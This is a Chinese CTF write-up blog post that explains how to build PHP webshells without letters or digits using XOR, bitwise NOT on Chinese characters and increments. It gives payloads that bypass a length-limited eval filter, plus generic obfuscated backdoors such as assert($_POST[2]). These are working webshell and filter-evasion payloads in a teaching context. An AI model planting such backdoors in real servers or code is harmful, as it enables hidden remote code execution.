V0W's Blog

花式构造没有数字字母的webshell

字数统计: 1,218阅读时长: 6 min
2018/08/14 Share

花式构造没有数字字母的webshell

问题引入

之前遇到一个题,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

另附上我写的flag.php,作为完整测试
//flag.php
<?php
function getFlag(){
$flag = "flag{you_get_me}";
echo $flag;
}
?>

虽然之前遇到类似的,但是把长度限制了,一时还是有点懵住,特记录分享。

php基础知识

想花式构造webshell,需要先了解一下php中的一些语法知识。

异或运算^

在php中的字符串变量异或,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php > echo '#'^'|';
_
>>> bin(ord('|')).replace('0b','')
'1111100'
>>> bin(ord('#')).replace('0b','')
'100011'
>>> bin(ord('_')).replace('0b','')
'1011111'

>>> chr(int(0b1011111))
'_'

'#' 二进制:00100011
'|' 二进制: 01111100
异或之后得到: 01011111
'_'

取反运算~

一般利用汉字,因为汉字的uniocode占3字节。可以利用其构造字母。

1
2
3
4
5
6
php > echo ~'生';
k`
php > echo ~'生'[1];
k
php > echo ~'生'[2];
`

递增运算

1
2
3
4
5
6
7
8
9
10
11
php > echo $_;
a
php > echo ++$_;
b
php > echo $_;
b
php > echo --$_;
b
php > $_ = 'z';
php > echo ++$_;
aa

弱类型-不用数字构造数字

php 中未定义的变量默认值为 null,由php弱类型null==false==0

所以能通过对未定义变量的自增操作来得到一个数字。

1
2
3
4
5
6
php > $_++;echo $_;
PHP Notice: Undefined variable: _ in php shell code on line 1
1
//加个@不会报错
php > @$_++;echo $_;
1

null==null==1,只能是一不能增减

1
2
3
4
5
6
7
8
php > $_=_==_;echo $_;
PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1
PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1
1
//加个@不会报错
php > @$_=_==_;echo $_;
1
php > echo $_++;

有了数字1也就能构造其他数字

一个简单的例子

之前遇到类似的,构造没有数字字母的webshell的题目。
一个简单的例子,如下:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

可以利用一些操作,如异或^

1
2
3
4
5
6
7
8
9
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

中文取反

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

回到问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

题目要求构造的函数为getFlag,但是加了一个限制条件,length < 40

方法1(符号异或^)
虽然有了长度限制,但是基本思路不变,写个脚本来爆出想要的结果_GET或者_POST
payload1

1
2
3
4
5
6
7
php > echo "`{{{"^"?<>/";
_GET

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

$_ = _GET
${$_}[_]() //$_GET[_]()

这里很巧妙的利用php的可变变量。
还有一点很巧妙,检测变量code,但是没有对其他的变量检测,其他变量可以用字母数字。

若禁用下划线_还可以用以下代替_

1
${"`{{{"^"?<>/"}[("#"^"|")]();&_=getFlag

方法二(直接构造函数getFlag)
payload2

1
?code=$_=('][%2B:@_:'^':>_|,>]');$_();

直接用这个函数,不用传参进去,但是缺点是没有真正拿到shell,而且构造有点难。

方法3(利用一些不可见字符的url编码取反)
这种方法类似中文的那种取反操作。
有个payload3是这样子:

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

这个是把getFlag取反然后URL编码

另一个payload4是这样的:

1
?code=${~"%A0%B8%BA%AB"}[%aa]();&%aa=getFlag

~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}取反相当于 $_GET,拼接出了 $_GET['\xaa']();,传入 \xaa=getFlag() 从而执行了函数

payload5

1
code=$啊=(']@\`@@]'^':%(&,!:');$啊();

$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。


其实在掌握基本方法之后,payload有很多,原理其实基本相同,只是在构造的时候,仁者见仁。

参考链接

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

离别歌-webshell without alphanum

CATALOG
  1. 1. 花式构造没有数字字母的webshell
    1. 1.1. 问题引入
    2. 1.2. php基础知识
      1. 1.2.1. 异或运算^
      2. 1.2.2. 取反运算~
      3. 1.2.3. 递增运算
      4. 1.2.4. 弱类型-不用数字构造数字
    3. 1.3. 一个简单的例子
    4. 1.4. 回到问题
    5. 1.5. 参考链接